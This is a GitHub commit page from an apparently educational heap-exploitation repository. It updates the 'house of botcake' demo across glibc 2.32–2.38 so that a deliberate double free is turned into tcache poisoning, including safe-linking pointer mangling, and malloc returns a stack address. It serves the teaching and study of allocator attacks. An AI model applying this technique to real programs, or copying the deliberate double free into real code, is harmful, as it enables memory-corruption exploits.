Skip to content

Commit d9c79f5

Browse files
authored
Merge pull request #205 from tesuji/cake-to-stack
house_of_botcake: demonstrate how to malloc back to `stack_var`
2 parents db26e6a + f3c7ad9 commit d9c79f5

File tree

8 files changed

+160
-72
lines changed

8 files changed

+160
-72
lines changed

glibc_2.32/house_of_botcake.c

+20-9
Original file line numberDiff line numberDiff line change
@@ -42,7 +42,7 @@ int main()
4242
printf("Allocating the victim chunk: a @ %p\n", a);
4343
puts("Allocating a padding to prevent consolidation.\n");
4444
malloc(0x10);
45-
45+
4646
// cause chunk overlapping
4747
puts("Now we are able to cause chunk overlapping");
4848
puts("Step 1: fill up tcache list");
@@ -51,25 +51,36 @@ int main()
5151
}
5252
puts("Step 2: free the victim chunk so it will be added to unsorted bin");
5353
free(a);
54-
54+
5555
puts("Step 3: free the previous chunk and make it consolidate with the victim chunk.");
5656
free(prev);
57-
57+
5858
puts("Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\n");
5959
malloc(0x100);
6060
/*VULNERABILITY*/
6161
free(a);// a is already freed
6262
/*VULNERABILITY*/
6363

6464
puts("Now we have the chunk overlapping primitive:");
65-
int prev_size = prev[-1] & 0xff0;
65+
puts("This primitive will allow directly reading/writing objects, heap metadata, etc.\n");
66+
puts("Below will use the chunk overlapping primitive to perform a tcache poisoning attack.");
67+
68+
puts("Get the overlapping chunk from the unsorted bin.");
69+
intptr_t *unsorted = malloc(0x100 + 0x100 + 0x10);
70+
puts("Use the overlapping chunk to control victim->next pointer.");
71+
// mangle the pointer since glibc 2.32
72+
unsorted[0x110/sizeof(intptr_t)] = ((long)a >> 12) ^ (long)stack_var;
73+
74+
puts("Get back victim chunk from tcache. This will put target to tcache top.");
75+
a = malloc(0x100);
6676
int a_size = a[-1] & 0xff0;
67-
printf("prev @ %p, size: %#x, end @ %p\n", prev, prev_size, (void *)prev+prev_size);
6877
printf("victim @ %p, size: %#x, end @ %p\n", a, a_size, (void *)a+a_size);
69-
a = malloc(0x100);
70-
memset(a, 0, 0x100);
71-
prev[0x110/sizeof(intptr_t)] = 0x41414141;
72-
assert(a[0] == 0x41414141);
7378

79+
puts("Get the target chunk from tcache.");
80+
intptr_t *target = malloc(0x100);
81+
target[0] = 0xcafebabe;
82+
83+
printf("target @ %p == stack_var @ %p\n", target, stack_var);
84+
assert(stack_var[0] == 0xcafebabe);
7485
return 0;
7586
}

glibc_2.33/house_of_botcake.c

+20-9
Original file line numberDiff line numberDiff line change
@@ -42,7 +42,7 @@ int main()
4242
printf("Allocating the victim chunk: a @ %p\n", a);
4343
puts("Allocating a padding to prevent consolidation.\n");
4444
malloc(0x10);
45-
45+
4646
// cause chunk overlapping
4747
puts("Now we are able to cause chunk overlapping");
4848
puts("Step 1: fill up tcache list");
@@ -51,25 +51,36 @@ int main()
5151
}
5252
puts("Step 2: free the victim chunk so it will be added to unsorted bin");
5353
free(a);
54-
54+
5555
puts("Step 3: free the previous chunk and make it consolidate with the victim chunk.");
5656
free(prev);
57-
57+
5858
puts("Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\n");
5959
malloc(0x100);
6060
/*VULNERABILITY*/
6161
free(a);// a is already freed
6262
/*VULNERABILITY*/
6363

6464
puts("Now we have the chunk overlapping primitive:");
65-
int prev_size = prev[-1] & 0xff0;
65+
puts("This primitive will allow directly reading/writing objects, heap metadata, etc.\n");
66+
puts("Below will use the chunk overlapping primitive to perform a tcache poisoning attack.");
67+
68+
puts("Get the overlapping chunk from the unsorted bin.");
69+
intptr_t *unsorted = malloc(0x100 + 0x100 + 0x10);
70+
puts("Use the overlapping chunk to control victim->next pointer.");
71+
// mangle the pointer since glibc 2.32
72+
unsorted[0x110/sizeof(intptr_t)] = ((long)a >> 12) ^ (long)stack_var;
73+
74+
puts("Get back victim chunk from tcache. This will put target to tcache top.");
75+
a = malloc(0x100);
6676
int a_size = a[-1] & 0xff0;
67-
printf("prev @ %p, size: %#x, end @ %p\n", prev, prev_size, (void *)prev+prev_size);
6877
printf("victim @ %p, size: %#x, end @ %p\n", a, a_size, (void *)a+a_size);
69-
a = malloc(0x100);
70-
memset(a, 0, 0x100);
71-
prev[0x110/sizeof(intptr_t)] = 0x41414141;
72-
assert(a[0] == 0x41414141);
7378

79+
puts("Get the target chunk from tcache.");
80+
intptr_t *target = malloc(0x100);
81+
target[0] = 0xcafebabe;
82+
83+
printf("target @ %p == stack_var @ %p\n", target, stack_var);
84+
assert(stack_var[0] == 0xcafebabe);
7485
return 0;
7586
}

glibc_2.34/house_of_botcake.c

+20-9
Original file line numberDiff line numberDiff line change
@@ -42,7 +42,7 @@ int main()
4242
printf("Allocating the victim chunk: a @ %p\n", a);
4343
puts("Allocating a padding to prevent consolidation.\n");
4444
malloc(0x10);
45-
45+
4646
// cause chunk overlapping
4747
puts("Now we are able to cause chunk overlapping");
4848
puts("Step 1: fill up tcache list");
@@ -51,25 +51,36 @@ int main()
5151
}
5252
puts("Step 2: free the victim chunk so it will be added to unsorted bin");
5353
free(a);
54-
54+
5555
puts("Step 3: free the previous chunk and make it consolidate with the victim chunk.");
5656
free(prev);
57-
57+
5858
puts("Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\n");
5959
malloc(0x100);
6060
/*VULNERABILITY*/
6161
free(a);// a is already freed
6262
/*VULNERABILITY*/
6363

6464
puts("Now we have the chunk overlapping primitive:");
65-
int prev_size = prev[-1] & 0xff0;
65+
puts("This primitive will allow directly reading/writing objects, heap metadata, etc.\n");
66+
puts("Below will use the chunk overlapping primitive to perform a tcache poisoning attack.");
67+
68+
puts("Get the overlapping chunk from the unsorted bin.");
69+
intptr_t *unsorted = malloc(0x100 + 0x100 + 0x10);
70+
puts("Use the overlapping chunk to control victim->next pointer.");
71+
// mangle the pointer since glibc 2.32
72+
unsorted[0x110/sizeof(intptr_t)] = ((long)a >> 12) ^ (long)stack_var;
73+
74+
puts("Get back victim chunk from tcache. This will put target to tcache top.");
75+
a = malloc(0x100);
6676
int a_size = a[-1] & 0xff0;
67-
printf("prev @ %p, size: %#x, end @ %p\n", prev, prev_size, (void *)prev+prev_size);
6877
printf("victim @ %p, size: %#x, end @ %p\n", a, a_size, (void *)a+a_size);
69-
a = malloc(0x100);
70-
memset(a, 0, 0x100);
71-
prev[0x110/sizeof(intptr_t)] = 0x41414141;
72-
assert(a[0] == 0x41414141);
7378

79+
puts("Get the target chunk from tcache.");
80+
intptr_t *target = malloc(0x100);
81+
target[0] = 0xcafebabe;
82+
83+
printf("target @ %p == stack_var @ %p\n", target, stack_var);
84+
assert(stack_var[0] == 0xcafebabe);
7485
return 0;
7586
}

glibc_2.35/house_of_botcake.c

+20-9
Original file line numberDiff line numberDiff line change
@@ -42,7 +42,7 @@ int main()
4242
printf("Allocating the victim chunk: a @ %p\n", a);
4343
puts("Allocating a padding to prevent consolidation.\n");
4444
malloc(0x10);
45-
45+
4646
// cause chunk overlapping
4747
puts("Now we are able to cause chunk overlapping");
4848
puts("Step 1: fill up tcache list");
@@ -51,25 +51,36 @@ int main()
5151
}
5252
puts("Step 2: free the victim chunk so it will be added to unsorted bin");
5353
free(a);
54-
54+
5555
puts("Step 3: free the previous chunk and make it consolidate with the victim chunk.");
5656
free(prev);
57-
57+
5858
puts("Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\n");
5959
malloc(0x100);
6060
/*VULNERABILITY*/
6161
free(a);// a is already freed
6262
/*VULNERABILITY*/
6363

6464
puts("Now we have the chunk overlapping primitive:");
65-
int prev_size = prev[-1] & 0xff0;
65+
puts("This primitive will allow directly reading/writing objects, heap metadata, etc.\n");
66+
puts("Below will use the chunk overlapping primitive to perform a tcache poisoning attack.");
67+
68+
puts("Get the overlapping chunk from the unsorted bin.");
69+
intptr_t *unsorted = malloc(0x100 + 0x100 + 0x10);
70+
puts("Use the overlapping chunk to control victim->next pointer.");
71+
// mangle the pointer since glibc 2.32
72+
unsorted[0x110/sizeof(intptr_t)] = ((long)a >> 12) ^ (long)stack_var;
73+
74+
puts("Get back victim chunk from tcache. This will put target to tcache top.");
75+
a = malloc(0x100);
6676
int a_size = a[-1] & 0xff0;
67-
printf("prev @ %p, size: %#x, end @ %p\n", prev, prev_size, (void *)prev+prev_size);
6877
printf("victim @ %p, size: %#x, end @ %p\n", a, a_size, (void *)a+a_size);
69-
a = malloc(0x100);
70-
memset(a, 0, 0x100);
71-
prev[0x110/sizeof(intptr_t)] = 0x41414141;
72-
assert(a[0] == 0x41414141);
7378

79+
puts("Get the target chunk from tcache.");
80+
intptr_t *target = malloc(0x100);
81+
target[0] = 0xcafebabe;
82+
83+
printf("target @ %p == stack_var @ %p\n", target, stack_var);
84+
assert(stack_var[0] == 0xcafebabe);
7485
return 0;
7586
}

glibc_2.36/house_of_botcake.c

+20-9
Original file line numberDiff line numberDiff line change
@@ -42,7 +42,7 @@ int main()
4242
printf("Allocating the victim chunk: a @ %p\n", a);
4343
puts("Allocating a padding to prevent consolidation.\n");
4444
malloc(0x10);
45-
45+
4646
// cause chunk overlapping
4747
puts("Now we are able to cause chunk overlapping");
4848
puts("Step 1: fill up tcache list");
@@ -51,25 +51,36 @@ int main()
5151
}
5252
puts("Step 2: free the victim chunk so it will be added to unsorted bin");
5353
free(a);
54-
54+
5555
puts("Step 3: free the previous chunk and make it consolidate with the victim chunk.");
5656
free(prev);
57-
57+
5858
puts("Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\n");
5959
malloc(0x100);
6060
/*VULNERABILITY*/
6161
free(a);// a is already freed
6262
/*VULNERABILITY*/
6363

6464
puts("Now we have the chunk overlapping primitive:");
65-
int prev_size = prev[-1] & 0xff0;
65+
puts("This primitive will allow directly reading/writing objects, heap metadata, etc.\n");
66+
puts("Below will use the chunk overlapping primitive to perform a tcache poisoning attack.");
67+
68+
puts("Get the overlapping chunk from the unsorted bin.");
69+
intptr_t *unsorted = malloc(0x100 + 0x100 + 0x10);
70+
puts("Use the overlapping chunk to control victim->next pointer.");
71+
// mangle the pointer since glibc 2.32
72+
unsorted[0x110/sizeof(intptr_t)] = ((long)a >> 12) ^ (long)stack_var;
73+
74+
puts("Get back victim chunk from tcache. This will put target to tcache top.");
75+
a = malloc(0x100);
6676
int a_size = a[-1] & 0xff0;
67-
printf("prev @ %p, size: %#x, end @ %p\n", prev, prev_size, (void *)prev+prev_size);
6877
printf("victim @ %p, size: %#x, end @ %p\n", a, a_size, (void *)a+a_size);
69-
a = malloc(0x100);
70-
memset(a, 0, 0x100);
71-
prev[0x110/sizeof(intptr_t)] = 0x41414141;
72-
assert(a[0] == 0x41414141);
7378

79+
puts("Get the target chunk from tcache.");
80+
intptr_t *target = malloc(0x100);
81+
target[0] = 0xcafebabe;
82+
83+
printf("target @ %p == stack_var @ %p\n", target, stack_var);
84+
assert(stack_var[0] == 0xcafebabe);
7485
return 0;
7586
}

glibc_2.37/house_of_botcake.c

+20-9
Original file line numberDiff line numberDiff line change
@@ -42,7 +42,7 @@ int main()
4242
printf("Allocating the victim chunk: a @ %p\n", a);
4343
puts("Allocating a padding to prevent consolidation.\n");
4444
malloc(0x10);
45-
45+
4646
// cause chunk overlapping
4747
puts("Now we are able to cause chunk overlapping");
4848
puts("Step 1: fill up tcache list");
@@ -51,25 +51,36 @@ int main()
5151
}
5252
puts("Step 2: free the victim chunk so it will be added to unsorted bin");
5353
free(a);
54-
54+
5555
puts("Step 3: free the previous chunk and make it consolidate with the victim chunk.");
5656
free(prev);
57-
57+
5858
puts("Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\n");
5959
malloc(0x100);
6060
/*VULNERABILITY*/
6161
free(a);// a is already freed
6262
/*VULNERABILITY*/
6363

6464
puts("Now we have the chunk overlapping primitive:");
65-
int prev_size = prev[-1] & 0xff0;
65+
puts("This primitive will allow directly reading/writing objects, heap metadata, etc.\n");
66+
puts("Below will use the chunk overlapping primitive to perform a tcache poisoning attack.");
67+
68+
puts("Get the overlapping chunk from the unsorted bin.");
69+
intptr_t *unsorted = malloc(0x100 + 0x100 + 0x10);
70+
puts("Use the overlapping chunk to control victim->next pointer.");
71+
// mangle the pointer since glibc 2.32
72+
unsorted[0x110/sizeof(intptr_t)] = ((long)a >> 12) ^ (long)stack_var;
73+
74+
puts("Get back victim chunk from tcache. This will put target to tcache top.");
75+
a = malloc(0x100);
6676
int a_size = a[-1] & 0xff0;
67-
printf("prev @ %p, size: %#x, end @ %p\n", prev, prev_size, (void *)prev+prev_size);
6877
printf("victim @ %p, size: %#x, end @ %p\n", a, a_size, (void *)a+a_size);
69-
a = malloc(0x100);
70-
memset(a, 0, 0x100);
71-
prev[0x110/sizeof(intptr_t)] = 0x41414141;
72-
assert(a[0] == 0x41414141);
7378

79+
puts("Get the target chunk from tcache.");
80+
intptr_t *target = malloc(0x100);
81+
target[0] = 0xcafebabe;
82+
83+
printf("target @ %p == stack_var @ %p\n", target, stack_var);
84+
assert(stack_var[0] == 0xcafebabe);
7485
return 0;
7586
}

glibc_2.38/house_of_botcake.c

+20-9
Original file line numberDiff line numberDiff line change
@@ -42,7 +42,7 @@ int main()
4242
printf("Allocating the victim chunk: a @ %p\n", a);
4343
puts("Allocating a padding to prevent consolidation.\n");
4444
malloc(0x10);
45-
45+
4646
// cause chunk overlapping
4747
puts("Now we are able to cause chunk overlapping");
4848
puts("Step 1: fill up tcache list");
@@ -51,25 +51,36 @@ int main()
5151
}
5252
puts("Step 2: free the victim chunk so it will be added to unsorted bin");
5353
free(a);
54-
54+
5555
puts("Step 3: free the previous chunk and make it consolidate with the victim chunk.");
5656
free(prev);
57-
57+
5858
puts("Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\n");
5959
malloc(0x100);
6060
/*VULNERABILITY*/
6161
free(a);// a is already freed
6262
/*VULNERABILITY*/
6363

6464
puts("Now we have the chunk overlapping primitive:");
65-
int prev_size = prev[-1] & 0xff0;
65+
puts("This primitive will allow directly reading/writing objects, heap metadata, etc.\n");
66+
puts("Below will use the chunk overlapping primitive to perform a tcache poisoning attack.");
67+
68+
puts("Get the overlapping chunk from the unsorted bin.");
69+
intptr_t *unsorted = malloc(0x100 + 0x100 + 0x10);
70+
puts("Use the overlapping chunk to control victim->next pointer.");
71+
// mangle the pointer since glibc 2.32
72+
unsorted[0x110/sizeof(intptr_t)] = ((long)a >> 12) ^ (long)stack_var;
73+
74+
puts("Get back victim chunk from tcache. This will put target to tcache top.");
75+
a = malloc(0x100);
6676
int a_size = a[-1] & 0xff0;
67-
printf("prev @ %p, size: %#x, end @ %p\n", prev, prev_size, (void *)prev+prev_size);
6877
printf("victim @ %p, size: %#x, end @ %p\n", a, a_size, (void *)a+a_size);
69-
a = malloc(0x100);
70-
memset(a, 0, 0x100);
71-
prev[0x110/sizeof(intptr_t)] = 0x41414141;
72-
assert(a[0] == 0x41414141);
7378

79+
puts("Get the target chunk from tcache.");
80+
intptr_t *target = malloc(0x100);
81+
target[0] = 0xcafebabe;
82+
83+
printf("target @ %p == stack_var @ %p\n", target, stack_var);
84+
assert(stack_var[0] == 0xcafebabe);
7485
return 0;
7586
}

0 commit comments

Comments
 (0)